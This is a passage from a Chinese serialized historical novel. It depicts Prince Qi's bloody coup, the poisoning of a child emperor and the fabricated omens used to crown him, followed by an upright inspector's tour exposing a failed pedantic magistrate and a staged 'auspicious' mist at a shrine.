齐王也需要我们这样的外援。故此,我想齐王是不会拒绝我们的美意的。”张文海马上跪倒称:“卑职愿遵师命,定不负恩师所托。”蔡光辉托着下巴想了想,说道:“恩师,既然宝物出现,又怎么可能没有祥瑞呢。我记得二月底,乌江上的夜郎泽从晨至昏,湖水颜色有异。咱们可以向朝廷报告说三月三乌江水呈紫色,云蒸霞蔚,主大周太平繁盛,国祚绵长。”王克明微微一笑说:“紫气东来,确为吉兆,就照你说的办。”安杰若有所思地说:“大人,您封疆守土,负有军事责任。您看咱们是不是可以在跟大理的关系上做些文章?毕竟,大理国力羸弱,我们拿下他一两座边寨不成问题。”王克明想了想,说道:“刀兵不可轻动,不如花些银子从大理国买通一些人来,对外宣称他们是主动归附,这样一来既显出了我大周的威仪,又张扬了我天朝的恩泽,还能得到朝中清流言官们的赞赏。岂不更为稳妥?”安杰心领神会,再次抱拳说:“大人高见,末将明白。” 十几天后,在汴京南城的驿馆内,山南学政谭琴手里拿着一张信笺来回踱着步子。他走到书桌前,手撑着桌沿,轻叹一声,自言自语道:“哎,想我谭琴聪明绝顶,宦海沉浮十余年,可如今不过是个小小的学政。再看看同年的刑部尚书陆祥楠,户部侍郎文泰,山西节度使宋启愚,兵部侍郎李文尊,吏部侍郎童道生,陕西巡抚楚仁杰,礼部侍郎汪博彦,哪个不是封疆大吏,哪个不是位极人臣!”他仰头望向屋顶,两颗眼泪悄然淌落。他轻轻拭了拭泪,皱起眉头,看着手中的信笺说:“本指望此次进京冯相能重用于我,可……”他走到座椅前,一屁股坐下,小声言道:“可冯相也已不似当年受到殿下信任了。见这两次,你别的不说,却把个小白盒要我放到泰陵去,说是可做些别人想不到的推戴之举,这算什么事呀!”他再次站起,漫无目的地走向了窗边。 是夜,万籁俱寂,正在床榻上安睡的谭琴突然坐了起来,大喊道:“陛下饶命,微臣不敢了。”他用力冲着床外磕下头去,可却一下子栽到了地上。醒后的谭琴大口地喘着粗气。他缓了好半天,才怔怔地咬牙说:“也罢!先皇托梦不敢不尊,圣贤教诲不敢忘怀。大不了一辈子做个小小的学政,默默无闻,与世无争罢了。谭某又怎么能背弃本心,做这装神弄鬼的事呢?” 次日黄昏,齐王石坚把刘睿、张永德、齐元能、陈伟亮、白登和林九都叫进了密室。这个林九都自镇压丹阳叛乱升任中牟知县后,便到处打点钻营,并最终搭上了白登的关系,成为了齐王亲信,现任兵部职方司郎中。几个人神神鬼鬼地商议到了亥末。最后,石坚豁然站起,命令道:“诸位是本王最为信赖的人,也是此次举义本王要仰仗的人。当然,事成之后,本王给你们的勋位和赏赐也必定在他人之上。三月中旬,朝廷已经议定,下月初四,本王会和成王还有小皇帝前往荥阳拜谒先皇陵寝,我们就在那个时候动手。本王会找借口晚出京城一天,利用这十二个时辰,将成王留在开封的重要党羽一网打尽。刘相和齐元能、白登也留在京城,辅助本王,行此大事。”刘睿等人赶紧跪倒,口称:“微臣(奴才)谨遵殿下谕令。”石坚抬抬手,示意他们起身,又命令道:“按照惯例,皇帝前往祖陵,必在中牟驻跸。张枢密使,你带些部队跟在小皇帝身边,名为保护,实则假借皇帝的名义宣召周亮、张洪涛等将领觐见,并乘机拿下他们。若有必要,张卿可临机决断,甚至杀掉石垚。然后再以‘成王弑君,犯上作乱’的名义,清剿叛贼石堃。”张永德也赶忙跪下,说道:“微臣领命。只是,别人都好说,那周亮原为我的上司,军中威望又高,不好对付呀。”石坚微微一笑说:“这一点林郎中已经考虑到了。那周亮艮得狠,从来不愿党附,跟石堃也是貌合神离,前些时还曾称病不出。我想成王这次是不会带他去的。为了防备万一,兵部可以搞点小动作,把他拌在京城。到时候,本王亲自处置他。”张永德又磕了个头说:“殿下既有安排,微臣就能放心行事了。”石坚又说道:“成王出行一般都会带领近万兵马,随行保卫。”他怪笑了两声,接着说:“只可惜他不知道林郎中在做知县时就对行宫做过手脚。陈将军,你依照先前所议,提前一晚率领一万西北军进驻中牟。林郎中,你带着二百近卫埋伏到行宫密室。只要成王在县城驻跸,他就看不到第二天的太阳。对于那些胆敢反抗的成王部将,你们不必请示,一律格杀勿论!”陈伟亮和林九都也跪地磕头,接受了命令。 第三十八回2 装神弄鬼 几天之后,又一场震动天下的政变在中牟县城爆发了。由于没有防备,又骄纵日久,成王在行宫夜宴时,竟搂着姬妾和先皇侍女,开怀畅饮。枢密使张永德乘机派人拿着御旨传见张洪涛和孙非。这二人不知有变,仅带几名卫兵往见皇帝。结果,在进入内殿大门后,他们就被预先埋伏的殿前亲卫乱刀砍杀。至亥时,林九都指挥着二百武士从密室里冲出,径直杀进了石堃居室,将烂醉如泥的成王一举擒获。 石堃被俘的消息传到宫外,大将田宏业立即组织人马前去营救。田宏业的部队毕竟久经沙场,作战勇敢,很快便占领了县城北门。他们又杀散了皇家卫队,迅速扑向了行宫。张永德则率领两千多殿前军死守宫墙,并派出多名哨探往城外调陈伟亮率军来援。此时,在行宫内的林九都也异常紧张。他满头大汗,搓着手来回走着。当听到宫外的喊杀声越来越近时,他把牙关一咬,抽出佩刀,对不省人事的石堃小声说:“殿下莫怪。卑职,卑职也是无奈,卑职……卑职对不住了……”说着,他挺刀就刺进了石堃的胸膛。可怜这位曾经指挥过千军万马、开疆拓土,又意气风发、执掌过朝政的皇子,死时竟没能发出一丝哼叫。杀了成王之后,林九都平静了一下心情,就带着卫兵,拎着石堃的人头走向宫门。他哆哆嗦嗦地爬上墙头,对外面喊道:“田将军和侍卫军的弟兄们,石堃弑君,犯上作乱;张洪涛和孙非附逆为奸,罪大恶极,这几个乱臣贼子均已被我等奉齐王命令斩杀。齐王知道弟兄们都是忠于大周的忠臣良将,不愿广为诛连,尔等只要放下兵器,我们便不追究你们的罪责。”田宏业骑在马上,用刀向行宫一指,大声喝令道:“休听他们胡说,成王身边有数百护卫,哪是那么容易对付的。他们是看咱们人多,又即将破门,才这样吓唬咱们的。大家再加把劲,一定得撞开宫门,救出殿下。”田宏业身边的百十个将士听了这话,举起兵器,叫嚣着又冲了上来。林九都大叫着说:“石堃已死,你们难道还要给他陪葬吗?”说着,他一扬手就把成王的首级扔下了宫门。林九都接着叫喊道:“睁开你们的双眼,看清楚,这是不是你们的成王殿下。你们战力虽强,但主君已死,城外又有强敌将至,你们难道真的不考虑全家老小的性命了吗?”田宏业等人拾起石堃的头颅,仔细辨认。田宏业大叫了一声“殿下”,仰天长叹道:“哎!末将已尽到了人臣之礼。我……我再替殿下杀最后一人。”他摘下弓箭对着城上扔首级的方向射出一箭。只听“啊”的一声惨叫,林九都身后的一个卫兵中箭,从城上摔了下去。田宏业扔了弓箭,高喊一声:“咱们走。”就带着几百名亲兵逃向了北城方向。 田宏业一走,侍卫军立即作鸟兽散。等陈伟亮率军杀到的时候,整座中牟城已完全在张永德等人的控制之下。 第二天凌晨,张永德把陈伟亮和林九都叫到跟前,说道:“现在大局已定,身在此处的成王一党都被咱们诛灭了。本官也已派人回京报捷。不过,还有一件棘手的大功需要有人去立。不知你们二位谁愿前往?”陈伟亮刚问了个:“不知是何大功?”林九都抢上一步说:“枢密使放心,林某这就去结果了共治帝性命。”张永德故作悲戚状,以手掩面说:“先皇待我不薄,我实不忍心去做此事,就有劳林大人了。”林九都略一拱手说:“下官遵命。”张永德微微抬头说:“让陛下走得舒服些。虽然我们都知道皇上是被成王谋害,但毕竟有伤皇家体面,不要太过残忍。”林九都又一拱手说:“下官明白。” 林九都来到共治帝寝殿时,六岁的石垚还在乳母的陪伴下熟睡。林九都回头对手下人说:“陛下口渴,去取一碗温热的面汤来。”从人听命,很快便把面汤端来了。林九都从怀中摸出一个小瓶,将毒药倒进碗中。他的这些举动早把乳娘惊醒了。乳娘惊恐地看了看林九都,又低头看了看石垚。她整了整衣裙,默默下床,跪在林九都面前,流着泪说:“大人,陛下生母故去不久,就让奴家服侍陛下去吧!”林九都略一犹豫,示意手下把汤碗递给乳娘。那奶娘颤抖着手接过瓷碗,坐到御榻边上,对着小皇帝用极轻柔的声音说:“我儿莫醒,娘喂陛下一口面汤喝。”石垚迷迷糊糊地睁眼应了个“好”字,便又闭上了二目。乳娘端起碗来轻轻吹拂,先自饮一口,试了试冷热,又用嘴含着面汤给小皇帝喂下。当喂到第四口时,乳娘的身子一震,嘴里莫名地发出“呕呕”声。她扑倒在石垚身上,手刨脚蹬了几下,再也不动了。林九都赶忙上前查看,只见那乳娘的耳孔中淌出了黑血,而她身下的小皇帝石垚也大瞪着双眼,七窍流血而亡。 林九都转身对手下人说:“本官的任务已经完成。别愣着,该你们动手了。”几个跟着他的从人答应一声,各拉刀剑,向着殿中值守的内官扑去。不大的功夫,所有在场的宫女和太监都被斩杀。林九都抱住石垚的尸体,仰天大哭道:“陛下!那石堃好狠的心肠,竟将陛下毒害。微臣定要将那石堃碎尸万段,替陛下报仇!”他又对手下人吩咐道:“你们几个马上到城里哭喊,成王及其党羽毒杀皇上,罪大恶极。齐王替天剿贼,出民水火。”他又手指两个亲兵说:“你们俩跟我去见张枢密使和陈将军,要他们把知情者和附近的居民统统杀死,绝不能让真相败露……” 在黎明前最为黑暗的时刻,中牟行宫内外变成了惨绝人寰的地狱。 第三十八回3 装神弄鬼 “成王谋逆被诛,皇帝遇害驾崩”的消息迅速传遍了京畿内外。驿馆中的谭琴闻讯大惊。他钻到床的最里面,用被子蒙着头,惊惧地小声说道:“这,这,怎么会这样!一年多里,物是人非,局势变幻。亏得,亏得我投在冯相门下,几次都没被诛连。而我那同科汪博彦,恐怕就没有这么幸运了。”他又歪着头想了想,似突然顿悟般地说:“没有早听冯相之言,险误了我的大好前程。”他跳下床来,打开书箱,在一通翻检后,从箱底取出来一个用白土密封的小盒。谭琴先把小盒揣进衣袖,又觉得不放心,取出来摩挲了几下,才将其揣进怀中。他咬了咬牙,拉开房门,冲外面大喊道:“来人啊。快些准备车帐,本官要去荥阳,拜谒先皇陵山。” 一天后,看管泰陵的官员在同泰帝享堂的桌案上发现了一个用白土密封的小盒。小盒的正面隐约可以看到几个金粉篆字——帝仙敕令。由于扬王石坦已在一天前回京奔丧,所以,守陵的官员直接将此事上报给了内府大臣司马德文。 司马德文拿到这个小盒也不敢随意处置,又去找宰相刘睿和冯体仁商量对策。冯体仁微微一笑说:“凭空出现在泰陵之内,又注有帝仙名号,就绝不是凡俗之物。兴许是上天对皇家有所指示,也未可知。对于此物,我们不该轻动,应即刻呈与齐王殿下,再当众打开验看。”刘睿也点头说:“冯相所言有理。只是,此物有无危害呢?”冯体仁又笑了笑说:“不妨事,宫内正有高僧在为共治皇爷做法事,请些个来。让他们围住这小盒,先诵经一通。再由冯某打开此盒验看,若真有危害,冯某自会处置,当不会碍到殿下和列位大人。”几位宰相议定后,随前往养德殿面见齐王。 经过了一番折腾,冯体仁当着齐王、扬王等王公和十几位大臣的面剥开了小盒表面的白土。在打开小盒的一瞬间,一股异香从盒中飘出。冯体仁的脸上掠过了一丝不易觉察的微笑。他伸手从盒里拿出了一张写有文字的黄纸。冯体仁轻轻瞄了一眼,急忙冲石坚跪下,双手托举着黄纸,流着泪说:“微臣拜见吾皇。吾皇万岁!万岁!万万岁!”石坚先是一愣,继而装作不快地斥责道:“不可胡言。共治帝刚刚驾崩,新皇还未继位,哪来的万岁。”冯体仁向前跪爬了几步,激动地说:“陛下,此文乃是帝仙敕令。上面说殿下您天家贵胄,忠孝仁勇,勤政爱民,功垂宇宙。若殿下为君,能保大周国祚,能养亿兆生民。故此,帝仙才从天界下凡,亲下召旨,敕立殿下为天通大帝。”冯体仁略微顿了一下,又说:“帝仙怕有贼子乱我大周,还给陛下赐了五十四位忠臣良将,名单就附在敕令之后。”石坚的呼吸变得有些急促。他向前紧走几步,双手颤抖着接过那张黄纸。他仔仔细细地将纸上内容看了几遍,沙哑着声音说:“我实不愿为君,可上天的敕令又不能违背。这……”早已看明情况的赵松寿等大臣纷纷跪倒,高呼道:“帝仙敕令必须遵从,请殿下正位为君。”面对这突如其来的一幕,扬王不由得打了个寒颤,但他不敢拖延,也赶紧跪下说:“皇兄匡扶社稷,又奉帝仙敕令,理应承继大统。石坦和其他兄弟子侄全都心悦诚服。”邱养德磕头说:“昨日,云贵上报称乌江水呈紫色,主大周太平,正应了今日之事。同时,王克明还送来‘齐皇’大玉一尊,更是稀世祥瑞。请吾皇顺天应人,早正大位,以定国之根基,以安天下之心。”石坚装出很为难的样子,说道:“哎。为了黎民安居,百姓乐业;为了父祖宗庙,社稷绵延;为了上承天道,尊奉敕令,朕也只能勉为其难了。”在场的王公大臣、太监宫女们全都跪伏于地,可着嗓子山呼道:“皇上圣明。吾皇万岁!万岁!万万岁!”其实,石坚和那些跪拜山呼的大臣们,又有谁不明白那所谓的“帝仙敕令”不过是有人在装神弄鬼而已。 有了“帝仙敕令”,又得到了臣僚认可,石坚一刻也没有拖延。他马上传召击鼓升殿。在宣德殿内,石坚再次命宰执们将“敕令”展示给到场的人看。臣僚和王公们也无一人敢对这灵异事件说三道四。其后,齐王便命令白登和司马德文去往内府,把早已准备好的皇帝冠冕取来。就这样,当日午时,石坚登基称帝,改年号为“天通”。 天通帝继位后,对在平息石堃叛乱和拥戴自己进位过程中的有功人员大加封赏。其中,赵松寿和刘睿当上了宰相;张永德和冯体仁出任副宰相;王克明被调回京城充任执政;齐元能升任枢密使;陈伟亮执掌殿前亲卫;功劳最为煊赫的林九都一跃晋升为兵部侍郎;而那位“帝仙敕令”的策划者之一谭琴也升任了礼部侍郎。 可是,世间没有不透风的墙,特别是大将田宏业率领残部逃进了豫西的大山后,有关石坚设计谋害成王和共治帝,杀人灭口,夺取皇位的各种传闻便在民间流传开来,弄得天下物议沸腾,演义和传说甚嚣尘上。得到禀告的天通帝很是恼火,他一方面命陈伟亮和白铭肇率领大军清缴田宏业;一方面派出亲信大臣到处宣讲,妄图控制舆论;为了说明自己做皇帝的正统性,天通帝还让冯体仁、谭琴等人修订了一本《神授君权考》,其中列举了大量自己出生和继位时的灵异现象。但是,事与愿违,他越是把自己吹嘘得神圣伟大,越是有人翻出他以前干过的恶事来丑化他,颇有些“坏事不能描,越描越黑”的意思。 在八月初六的朝会上,天通帝亢奋地对臣僚们说:“各位爱卿,朕昨夜偶得一梦,但又似乎不是个梦。朕想来想去,觉得无法解释,现在,不妨告诉列位,让大伙帮朕思考一二。”宰相赵松寿和刘睿赶紧行礼说:“陛下讲述,我等愿洗耳恭听。”天通帝清了清嗓子,说道:“昨夜子时,朕在养居殿批阅奏章,突然闻到一股异香,同时,帷幔前后霞光照耀,接着,又有仙乐鸣响。朕正疑惑,就见空中有几位仙人飘然而至。当中的仙人鹤发童颜,一脸英气。他微笑着看朕,说他是朕的祖先,名叫石光,现在天帝身边工作。他说我大周国祚长久,又说先皇睿智,曾写有传位诏书,藏在养德殿的藻井内。他告诉朕只要将诏书当众宣读,就可保皇朝三十年太平。朕本想与祖先对话,可却无法张口。仙人说,待你读诏完毕,可在光州修建一座道观,供奉天帝诸神,其后才能与他交谈。彼时,朕只觉香气渐浓,霞光灿烂,再看仙人,却已不见了踪影。朕原本以为只是个梦,可今晨醒来,手中却有了一方黄绢。”说着,天通帝拿出一方黄色丝帕展示给大臣们看,又说:“你们看,这黄绢上分明画的就是养德殿内藻井的图案,你们说朕该如何呢?”冯体仁最先跪倒,呼喊道:“此乃上天庇护大周,祖宗保佑吾皇的吉兆。陛下不妨依照仙人指引,派员前往养德殿查看。”王克明则两眼放光,抢步跪下说:“陛下,臣虽年迈,但情愿为陛下往寻先帝遗诏,以彰显吾皇奉天法祖、公正无私之德名。”其他大臣也纷纷跪下,表达了对天通帝的拥戴敬仰和愿为效劳的态度。最后,天通帝郑重决定由白登带着王克明、关之信、陆祥楠、谭琴等十位大臣前往养德殿寻取传位诏书。 没多大功夫,白登等人果然捧着一份所谓的“同泰遗诏”回到了宣德殿。那诏书上的内容自然是“皇三子石坚人品贵重,深肖朕躬,必能克承大统,继位为君”云云。天通帝装模作样地跪着,听老师关之信读完遗诏,哭拜于地说:“父皇,您怎么就把这千钧重担托付给儿臣了呢!儿臣不如您睿智果决……”其后,几位重臣又上前解劝了皇帝一番。天通帝这才再次回归御座,又下令将遗诏之事明发各地广为宣传,同时,派冯体仁前往光州,督建天帝神仙宫,这才退了朝。 从此,各地装神弄鬼的事情花样翻新,层出不穷。投机者们都想通过上报祥瑞和神迹博取皇帝赏识。 天帝神仙宫开建后,花费高得吓人,有个别御史和官员上书弹劾冯体仁贪贿敛财、不惜民力。但很快,宰相赵松寿等重臣便在朝堂上训斥官员们说:“上天有令,非人力所能阻挡,尔等不可逆天请命,污损圣德。”弄得满朝文武无人敢于再做辩驳,唯有吏部侍郎童道生据理力争说:“子曰:‘天何言哉?四季按照规律轮换,万物遵守定则生长。上天什么时候说过话?’你们如此乱解天意,糊弄百姓,怎能道洽政治,泽润生民?”天通帝大怒,本欲治童道生的罪,但想到对方对自己有救命之恩,随令殿前武士将童道生赶出宫去。此后,满朝文武再也没人胆敢触此霉头,整个国家进入了一种近乎疯癫的状态。 第三十九回1 暴风骤雨前的平静 对于皇帝和高层好大喜功、装神弄鬼的做派,宋启愚看在眼里,急在心中,可他又能怎么样呢?虽然,他上书劝阻过,也揭露过,但毕竟身在局中,在碰了几次钉子之后,宋启愚不再顶着干,而是把上报的祥瑞数量压到最低,并且始终坚持不影响社会秩序和百姓生产生活的原则。他还不允许给这些违背常识的东西投入后续资金,以此减少装神弄鬼对山西经济的冲击。 天通元年九月,侯宗和张家奇押着三十八万两外贸银到晋阳向宋启愚交差。毛小和吕世法奉命陪同户部的官吏接收了这笔巨款。办完了交接手续,白银入库之后,毛小笑着对侯、张二人说:“现在你们俩可是咱山西的财神爷呀!每年都能给省库创造近百万两的利润,连大人都常夸你们呢!”侯宗拱手说:“那还不是咱家大人有眼光敢任事吗!要是换了别省的巡抚,一定不敢让我们干。”张家奇也拱手说:“这也要感谢毛参军。当年,要不是您对俺们严格管带,蹚出了这条路,俺们还不知道往哪儿走呢!”毛小哈哈大笑说:“你们俩处理事情仔细、又会变通,确实是干外贸的材料。宣道大人去年任命你们为户部专办,我是双手赞成啊。”吕世法插嘴说:“二位大人不必过谦,这一年多里,咱山西修长城、铺道路、兴水利、办实业、补农工、开三学,需要用钱的地方极多,幸亏有外贸和工坊的进项,否则还真有些周转不开呢。”侯宗收住笑容,对毛小说:“参军,东瀛人这次又提出了订购焦炭的计划。他们要的数量很大,卑职没敢马上答应,想请示一下宋大人,现在,还想先听听参军的意见。”毛小想了一下说:“按说行商图的是利,只要价钱合适就能做。不过,对有些特殊物资,我们还是要限制。邝先生曾给我们说过,焦炭是炼制精铁用的燃料。东瀛人的刀剑一向锋利,若把焦炭大量卖给他们,说不定会诱发他们的野心。我的意思是生意可以做,但数量上最好减半。”侯宗两手一拍说:“哎呀!要不说大人能当参军呢,就是比我们想得细。妥了,等见巡抚大人的时候,我就照您说的回大人,准能得到大人的夸赞。”聊了一会儿,毛小把话锋一转,问道:“你们两个独立办差,又掌握着巨额资金。你们说句实话,白花花的银子放在眼前,动过心思吗?”侯宗和张家奇对视了一眼,又看了看毛小和吕世法。张家奇说:“不瞒参军,俺确实眼热过。而且,俺敢说任何人面对成千上万两银钱,光凭意志力根本扛不住。俺跟侯宗之所以没被银子淹死,是因为有楚岩在旁监察,还有山西货栈二次核算,但凡超过五两银子的差错,户部就会知道,还会再派人前来追责。俺们本身待遇优厚,又不愿辜负咱家大人,当然也就能保证自己基本清廉了。”毛小微微一笑说:“你说的很真诚,也很对。人的自我约束,实在太不可靠了。看来咱家大人设计的这套监察体系在你们户部起到了作用。我敢肯定,这比你们为咱山西挣回了百万财富,还让大人感到快慰。就凭你们能干干净净地做人,宣道大人也得请你们喝上一天大酒哇!”侯宗一把拉住毛小说:“参军,那还等什么,现在咱就去见大人。半年多不来了,还真想宋大人啊!”毛小拍拍侯宗说:“别着急。大人这会儿去了魁星三学,申时才回来。你们都到我那儿去,就住在我府上。到时候,我自然会安排你们和大人相见。” 自童道生被从宣德殿赶出来后,那些通过装神弄鬼上位的臣僚们便把他当成了攻讦的对象,纷纷上书,弹劾他狂悖不法、****。童道生为了自保,随即请求朝廷将自己外放。天通帝也乐得如此,于是任童道生为山东河北巡察使,往济南、幽州监察地方。 出京之后,童道生乘坐官船一路东进,先后巡视了东明、郓城、阳谷等州县。这一日,船队正沿着大运河北行,忽听岸上锣鼓喧天,人声鼎沸。童道生正疑惑间,王虎进来禀告说:“大人,高唐县令裴立带着百十名官民前来迎接。”童道生微蹙眉头说:“咱们刚进高唐地界,他们就来迎候,这位裴县令也太上心了些。”王虎笑嘻嘻地回答道:“再造,莫说伺候你这样的三品大员,就是对待我这小小的五品校尉,有些地方官也会极力讨好的。更何况你还掌握着巡察一方的权力,他们能不上赶着巴结吗。”童道生轻叹一声说:“好吧,那就先靠岸,我在船上见见这位县令。” 官船停稳后,高唐知县裴立在王虎的引导下毕恭毕敬地进了船舱。这是个清瘦的中年男人,鹰钩鼻子,菱角嘴,留着山羊胡须,一双细眼始终盯着前方,多少透着些酸腐和愚钝。他跪倒行礼称:“卑职高唐知县裴立见过巡察使大人。”童道生抬手说:“裴大人请起,一旁坐着说话。”裴立又行了个礼,感谢一通后,侧身倚着凳子边沿坐下。童道生微笑着说:“本官正要到高唐去,裴大人就来迎接了。此前,本官看过你的履历。裴大人在高唐为官七载,清正廉洁,也做了不少事情,官声很好啊。”裴立赶紧欠身拱手说:“童大人谬奖。卑职仅是按照朝廷要求,恪尽职守,安抚地方而已。”童道生又说:“按照惯例,地方官任职一般不会超过六年。裴大人又是进士出身,为何会七年没有晋升呢?”裴立苦笑道:“回大人,裴某四体不勤,五谷不分,百无一用,唯读书尚可,一向以圣人之言律人求己。卑职又家境贫寒,拿不出银钱买通门路,故而蹉跎至今。”童道生一笑说:“讲规矩听圣人言没有错,你不要灰心。只要你在地方真正做出了成绩,不管你有无背景,本官都会举荐于你。”裴立赶忙跪倒,双眼含泪,对着童道生又是磕头又是谢恩。接着,童道生询问了高唐县的生产和建设情况。裴立也用生涩难懂的文辞做了回答。最后,童道生和蔼地说:“裴大人先回去。我申时到达高唐,你只需在城门处接官即可。”裴立深深一躬说:“大人高风亮节,有古圣贤之风,不似那些大员,张嘴闭嘴皆为经营铜臭之事。卑职这就折返,在码头跪迎大人。” 送走了裴立,童道生对王虎说:“咱们上岸去,看看本地百姓的生活。”王虎答道:“好哇。这个裴知县虽然有些迂,说的话我也听不懂,但似乎不象个坏官。”童道生一边往外走一边说:“只要他能为百姓做事,就算酸腐些,也是可以提拔的。” 第三十九回2 暴风骤雨前的平静 童道生和王虎弃舟登岸,沿途考察村镇田地。可他万万没想到,在这作物成熟的季节,不但看不到丰收的景象,就连人烟也很稀少。他们走进一个村庄,向农人们打听当地的情况。起初,几个面露菜色的农民不敢多言,只说这里土地贫瘠,生活穷苦,大家全靠挖野菜、摘野果、摸鱼虾和乞讨过活。后来,王虎将里正和一个秀才叫来,并对其亮明了身份。百姓们赶紧跪倒,哭着说:“青天大老爷,救救俺们吧!这日子实在过不下去了。”童道生和善地说:“你们都起来,究竟是怎么回事?”那里正躬身说:“大老爷,我们这里本来不穷,田里打的粮也不少。裴县令到任的前两年,搞了个虫本……这个……虫本……”秀才插嘴说:“崇本退末,以礼义防民欲。”里正赶紧答道:“对对对,就是虫本推磨的运动。他把城里的商贩都停了,又不让俺们买卖粮食、山货。后来,知县老爷又说府库不该赚百姓的钱,命令停了青黄法的借贷。开始年景好,俺们还能维持。可是,五年前,先有地震,又有大旱,又闹蝗虫,又有兵灾,俺们家家户户都撑不住了。卖儿卖女,出去逃荒的人多得很。”童道生皱起眉头问:“那现在为什么还不恢复生产呢?”里正回答说:“谁有钱啊!府库不借给俺们,农民就得去借高利贷,地里打的粮食还不够还利息的呢,被逼债家破人亡的可不在少数。这去年俺们还想方设法地种种地。今年,俺们一看,反正没啥收成,干脆就不种了。”童道生又问:“那到了冬天和明年春荒,你们怎样过活?”里正说:“到那时,裴老爷会在县城设置粥场,俺们就都去讨饭吃。”这时,秀才又插嘴道:“要论清廉耿直,谁也不能跟俺们这位裴大老爷相比。他年年帮百姓向朝廷要赈济,年年带头捐资助民。闹蝗灾那年,俺们县饿死的人是最少的。在县学,俺亲眼看到大人的衣服上也打着补丁……”几个农民打断他说:“行行行,水夫子,别再夸了。你还是想想你一家人怎么过冬吧。”里正白了秀才一眼说:“就是,别瞎吹了。我听说,人家阳谷、东阿的人现在过得比以前还强呢。咱这儿,哎……”童道生听完众人的叙述,感叹道:“裴大人讲讲风骨,做做学问还行,但把地方治理成这个样子,他真的缺少行政能力。”童道生从怀里摸出银袋交给里正说:“我这里有十几两纹银,你拿去给村民们分一分,由水夫子监督。另外,你得组织村民赶紧种上一茬蔬菜,再晚可就来不及了。至于大伙后面的日子,我来想办法,你们别担心。”几个农民急忙跪倒,磕头感谢这位救命的大人。 接着,童道生又探访了前方的几个村落,情形大体如此。童道生摇着头对王虎说:“这位裴县令没有说错。他真是百无一用,唯读书尚可。他刚才不停地引经据典,说什么‘不患寡而患不均,不患贫而患不安。’还有什么‘工商众则国贫。’现在想来,他这腐儒,真是可笑。”王虎说道:“那,再造准备如何呢?”童道生无奈地说:“不能让他再主抓行政了。我今天就上书朝廷,调他到州学或府学去,推荐顾三省这样的干吏来代理知县。”王虎挠了挠头说:“再造,顾大人以前是宣道兄长的手下。你推荐他,别人会不会说咱们培植党羽呢?还有这个裴立,别的大员之所以不愿动他,就是因为他是个清官,没人愿意背负裁撤清官的骂名。”童道生笑着拍了拍王虎的肩膀说:“虎兄跟着我十多年,看来长进了不少,有时思考得比我还深。不过,现实的状况你也看到了,这高唐的老百姓可是拖不起呀。况且,我并没有裁撤他,只是让这个裴立去更适合他的地方。我今天才算知道,如果让这些满嘴仁义道德实际却什么都不会的人占据了重要位置,同时,又无人能时时监管他们,那对于地方和百姓才真的是噩梦呢……” 处理完高唐的事情之后,童道生于十月初到达了德州。 次日,知府谢涛来见童道生。他行礼寒暄毕,乐呵呵地说:“再造大人可知,本地在历史上出过一位了不起的圣人?”童道生眉头一挑说:“谢大人指的是董仲舒董子吧。童某在书上看到过,但具体情状并不清楚。还请谢大人略做介绍。”谢涛一拱手说:“董仲舒乃汉代名人,年轻时曾在广川门外研读儒学十三年,并留下了‘三年不窥园’的佳话。哦,这是个激励后人埋头苦学的故事。说的是董老爷看儿子学习刻苦,就修了个花园供董仲舒放松休息。可哪成想董子读经典着了迷,终日在繁露台上读书,三年下来硬是没有看那花园一眼。正是由于圣人有这样的定力,最终才融合各家,提出了‘天人感应’、‘大一统’学说和‘罢黜百家,独尊儒术’的主张,并成为一代圣贤啊!”童道生点点头说:“董子用功苦读的精神确实值得我辈学习啊。”谢涛又说道:“从隋代开始,在繁露台附近的柳湖边上便建起了董子书院,全天下的学子、骚客慕名而来,比试文才、交流感情。现在,这已经成为我德州一大景观了。谢某今天来,就是想邀请大人前往圣人读书处一游的。”童道生笑着说:“仰慕圣人,瞻顾胜迹,旌表贤品,激励后学,也是我们这些官员该做的事。既然,谢大人前来相邀,童某愿随大人前往。” 二人互相恭让着出了驿馆。谢涛似突然想起了什么,说道:“再造大人好福气,繁露台前的董子祠近日出现了祥瑞,清晨和雨后,董子圣像和石碑处雾气蒸腾,再辅以柳湖碧波和高台巍峨,真如仙境一般。每日,大批学子、百姓来到祠前,参拜圣人,启福大周。下官闻报也曾亲往,确实神奇。所以,下官想跟大人联名将此祥瑞上报朝廷,并恭请陛下莅临我德州观瞻神迹,不知大人可愿意否?”童道生这才彻底明白了谢涛的用意,但他并不急于表态,而是边走边嬉笑着说:“看来,我还真得去看看那是何等壮观的场面,否则又怎么敢随意上书呢。” 第三十九回3 暴风骤雨前的平静 车帐向东行了四五里,前面是一汪清澈的碧水。谢涛引童道生下了车,指着说:“童大人,王将军,这水面唤做柳湖,湖畔有书院几家。那北岸影影绰绰的高大建筑便是圣人读书台。你们看,那董子祠正在释放祥瑞,烟雾弥升,更显古迹神秘。”童道生深吸了一口清冽的空气,振了振肩臂说:“河湖相连,花木扶疏,亭舫廊榭,黛瓦白墙,好一个清心读书之所呀!谢大人,虎兄,咱们到台下祠前参拜一下董圣人吧。”一行人绕湖缓走,又穿过了一座小桥,不多时便来到了董子祠前。等离得近了,童道生才发现,那些雾气是从董仲舒石像下面的地缝中不断冒出的,而在空气中还弥漫着一股淡淡的怪味。他心里大概有了数,但又不好马上说破。童道生恭恭敬敬地跪在石像前,双手合十,开口说道:“晚辈学子,大周太子少保吏部侍郎领山东河北巡察使童道生再拜董公仲舒先生。您通读经典,累月不辍;融合各家,独尊儒术;扶助汉武,制霸东方;尽心讲学,辅佐帝王的做为和精神令后学崇敬之至。今我大周山河稳固,文人向学,望先生保我中土世世太平,佑我学子学有所成……”知府谢涛见童道生如此虔诚,也跪在拜垫上,默默地许起了心愿。 参观完董子祠和繁露台,谢涛又引着童道生往董子书院了解了学子们的学习情况。其间,谢涛还请来一些书院师生与童道生吟诗唱和,气氛很是融洽。 